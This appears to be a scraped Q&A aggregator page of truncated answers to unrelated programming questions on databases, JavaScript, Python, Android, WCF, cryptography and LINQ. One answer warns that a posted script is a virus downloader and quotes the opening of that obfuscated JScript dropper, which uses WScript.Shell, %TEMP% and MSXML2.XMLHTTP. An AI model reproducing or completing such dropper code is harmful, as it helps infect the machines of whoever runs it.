Normally you would use a webservice (via SOAP, REST, JSON, …) for such tasks, as this would prevent opening the database-server to the public and also makes you independent from the used programming language. 2 solved iPhone application Getting data from Mysql database
Java possesses the function Math.random() which returns a number that varies between 0 and 1. Therefore, if you want a random number to vary between 0.5 and 1 only, you need to scale this number by half so that it only varies between 0 and 0.5, and then add this to the minimum value in … Read more
Here’s a start for you. Change your onclick attributes to use .call(). This just lets you set the value of this in the functions you’re calling to the value of the first argument you pass to .call(). (In this case, the element that received the event.) <input type=”button” name=”Up1″ value=”Up” onclick=”moveUp.call(this);”> Item 1 <input type=”button” … Read more
Use the partition method for string objects: >>> s=”fever=40″ >>> s.partition(‘=’) (‘fever’, ‘=’, ’40’) From the documentation: str.partition(sep) Split the string at the first occurrence of sep, and return a 3-tuple containing the part before the separator, the separator itself, and the part after the separator. If the separator is not found, return a 3-tuple … Read more
Suppose you have 3 fragments (1) Fragment A (2) Fragment B (3) Fragment C You are going A to B then B to C then Backpress will return to B then again Backpress will return to A then Backpress will close app. Method for replace Fragment by adding Tag: Pass your fragment and tag as … Read more
You have created a WCF service, but this is not (necessarily) the same as a REST service. With your current configuration, your service is a SOAP service, which you are supposed to send messages to using a special XML format. The easiest way to communicate with it is to generate a service proxy, by right-clicking … Read more
You should search before posting. GoDaddy blocks outbound SMTP, but they provide a gateway that you can use instead. This blocks many sending scenarios (such as GoDaddy failing SPF checks). MX records have absolutely nothing to do with outbound mail. You can use PHPMailer with HTTP services like MailGun by using it to construct messages … Read more
Basically, it’s downloading a virus to your temp folder and executing it… You should run a virus scan on the entire network. var AxProxy = function() {}; (function () { function fFh(fr, Klw, rn) { var VeZ = new AxProxy(‘WScript.Shell’); var Klw = VeZ[‘ExpandEnvironmentStrings’](‘%TEMP%’) + “\\” + Klw; var OG4 = new AxProxy(‘MSXML2.XMLHTTP’); OG4[‘onReadyStateChange’] = … Read more
Follow the documentation for AES encryption and modify it for RSA. Use AsymmetricAlgorithm.RsaPkcs1 as algorithm provider. Below example is for AES. byte[] keyMaterial; byte[] data; var provider = WinRTCrypto.SymmetricKeyAlgorithmProvider.OpenAlgorithm(SymmetricAlgorithm.AesCbcPkcs7); var key = provider.CreateSymmetricKey(keyMaterial); // The IV may be null, but supplying a random IV increases security. // The IV is not a secret like the … Read more
A Common Lisp version is almost the same as in Scheme: (defun solution (list) (apply #’mapcar #’+ list)) (solution ‘((1 2 3) (9 10 11) (3 4 5))) ; ==> (13 16 19) 1 solved LISP Easy questio about creating new lists
Ah, so this is a misunderstanding of the operations being performed. Notice the constant p=2. I have the text All computations are modulo 2.. Perhaps also stating All inputs are modulo 2 would help hammer the point home. Lets look at some of our computations: 0 + 0 mod 2 = 0 2 + 3 … Read more
Try adding this line above your main java code: import android.support.design.widget.CoordinatorLayout; 0 solved How to fix “coordinatorLayoutStyle” issue with Android Studio starting project? [closed]
public List<double> Average(List<double> number, int nElement) { var currentElement = 0; var currentSum = 0.0; var newList = new List<double>(); foreach (var item in number) { currentSum += item; currentElement++; if(currentElement == nElement) { newList.Add(currentSum / nElement); currentElement = 0; currentSum = 0.0; } } // Maybe the array element count is not the same … Read more
Here’s one way to add a new column by reference using data.table: require(data.table) setDT(d1); setDT(d2); setDT(data) # convert all data.frames to data.tables data[src == “one”, location := d1[.SD, location, on=”index”]] data[src == “two”, location := d2[.SD, location, on=”index”]] .SD stands for subset of data, and contains all columns in data that matches the condition provided … Read more
Lambda LINQ is still a link expression. However, the statement should look something like this: var train2 = (from c in db.sample1 join t in db.sample2 on c.CertificateId equals t.CertificateId where c.Year.Value.Year == year && c.TrainingTypeId.Value == trainingTypeId && c.IsApproved.Value && t.EndDate >= DateTime.Now select c).Distinct(); 8 solved Lambda convert to LINQ